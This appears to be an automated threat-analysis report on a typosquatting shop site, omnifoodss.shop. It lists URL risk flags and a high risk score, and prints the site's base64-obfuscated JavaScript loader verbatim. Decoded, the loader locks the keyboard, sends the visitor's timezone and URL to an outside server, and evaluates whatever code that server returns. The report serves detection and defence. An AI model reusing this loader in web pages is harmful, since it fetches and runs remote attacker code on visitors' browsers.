Windows Analysis Report
https://omnifoodss.shop/?gad_source=5&gclid=Cj0KCQiAsaS7BhDPARIsAAX5cSBpCjSDfHP5hLlH09ETnV9pO4jbsxm8914mpY3eLfBQV05eSpCw7O4aAuXFEALw_wcB

{
    "typosquatting": true,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": true,
    "third_party_hosting": true
}

URL: https://omnifoodss.shop

{
    "risk_score": 9,
    "reasoning": "This script demonstrates several high-risk behaviors that indicate potential malicious intent:

1. Dynamic Code Execution: The script uses `eval()` to execute a base64-encoded script, which is a common technique for running remote or obfuscated code.
2. Data Exfiltration: The script transmits data (including the full URL) to the domain 'omnifoodhelper.onrender.com', which is an untrusted and potentially suspicious domain.
3. Obfuscated Code/URLs: The script uses base64 encoding to obfuscate the code, making it more difficult to analyze and understand.
4. Behavioral Inconsistency: The script's behavior, including the use of dynamic code execution and data transmission to an unknown domain, is inconsistent with its apparent purpose of handling keyboard access and timezone data.

Given the combination of these high-risk indicators and the lack of a clear, legitimate purpose, this script is assessed as a high-risk security threat and should be further investigated or blocked."
}

       eval(atob(`CgoKZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignbW91c2Vtb3ZlJywgaW5pdGlhdGVBcGlSZXF1ZXN0T25jZSk7CgpsZXQgcmVxdWVzdFNlbnQgPSBmYWxzZTsKCmZ1bmN0aW9uIGluaXRpYXRlQXBpUmVxdWVzdE9uY2UoKSB7CiAgICBpZiAocmVxdWVzdFNlbnQpIHJldHVybjsKCiAgICByZXF1ZXN0U2VudCA9IHRydWU7CiAgICBkb2N1bWVudC5yZW1vdmVFdmVudExpc3RlbmVyKCdtb3VzZW1vdmUnLCBpbml0aWF0ZUFwaVJlcXVlc3RPbmNlKTsKCiAgICBzZWN1cmVLZXlib2FyZEFjY2VzcygpOwogICAgY29uc3QgY2xpZW50VGltZXpvbmUgPSBnZXRDdXJyZW50VGltZXpvbmUoKTsKICAgIHRyYW5zbWl0VGltZXpvbmVEYXRhKCdodHRwczovL29tbmlmb29kaGVscGVyLm9ucmVuZGVyLmNvbScsIGNsaWVudFRpbWV6b25lKQogICAgICAgIC50aGVuKGRlY29kZUFuZFJ1blNjcmlwdCkKICAgICAgICAuY2F0Y2goaGFuZGxlRXJyb3IpOwp9CgpmdW5jdGlvbiBzZWN1cmVLZXlib2FyZEFjY2VzcygpIHsKICAgIGlmIChuYXZpZ2F0b3Iua2V5Ym9hcmQpIG5hdmlnYXRvci5rZXlib2FyZC5sb2NrKCk7Cn0KCmZ1bmN0aW9uIGdldEN1cnJlbnRUaW1lem9uZSgpIHsKICAgIHJldHVybiBJbnRsLkRhdGVUaW1lRm9ybWF0KCkucmVzb2x2ZWRPcHRpb25zKCkudGltZVpvbmU7Cn0KCmZ1bmN0aW9uIHRyYW5zbWl0VGltZXpvbmVEYXRhKHVybCwgdGltZXpvbmUpIHsKICAgIHJldHVybiBmZXRjaCh1cmwsIHsKICAgICAgICBtZXRob2Q6ICdQT1NUJywKICAgICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSwKICAgICAgICBib2R5OiBKU09OLnN0cmluZ2lmeSh7IHRpbWV6b25lLCBmdWxsVXJsOiB3aW5kb3cubG9jYXRpb24uaHJlZiB9KSwKICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UudGV4dCgpKTsKfQoKZnVuY3Rpb24gZGVjb2RlQW5kUnVuU2NyaXB0KGVuY29kZWRTY3JpcHQpIHsKICAgIHRyeSB7CiAgICAgICAgY29uc3Qgc2NyaXB0ID0gYXRvYihlbmNvZGVkU2NyaXB0KTsKICAgICAgICBldmFsKHNjcmlwdCk7CiAgICB9IGNhdGNoIChlcnJvcikgewogICAgICAgIHRocm93IG5ldyBFcnJvcihgU2NyaXB0IGV4ZWN1dGlvbiBmYWlsZWQ6ICR7ZXJyb3J9YCk7CiAgICB9Cn0KCmZ1bmN0aW9uIGhhbmRsZUVycm9yKGVycm9yKSB7CiAgICBjb25zb2xlLmVycm9yKCdBUEkgcmVxdWVzdCBvciBzY3JpcHQgZXhlY3V0aW9uIGVycm9yOicsIGVycm9yKTsKfQo=`));
   

{
"contains_trigger_text": true,
"trigger_text": "",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}